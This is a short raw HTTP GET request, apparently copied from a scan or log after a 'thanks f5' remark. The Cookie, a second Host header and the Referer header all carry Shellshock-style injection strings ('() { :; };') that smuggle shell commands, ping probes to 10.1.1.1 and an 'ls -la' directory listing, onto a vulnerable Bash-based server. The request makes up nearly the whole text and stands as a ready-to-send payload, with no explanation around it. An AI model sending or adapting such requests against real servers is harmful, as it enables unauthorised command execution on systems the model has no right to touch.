thanks f5

GET / HTTP/1.1
Host: www.mysite.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:32.0) Gecko/20100101 Firefox/32.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Cookie: () { :; }; ping -c 17 10.1.1.1
Host:() { :; }; ls -la 
Referer: () { :; }; ping -c 23 10.1.1.1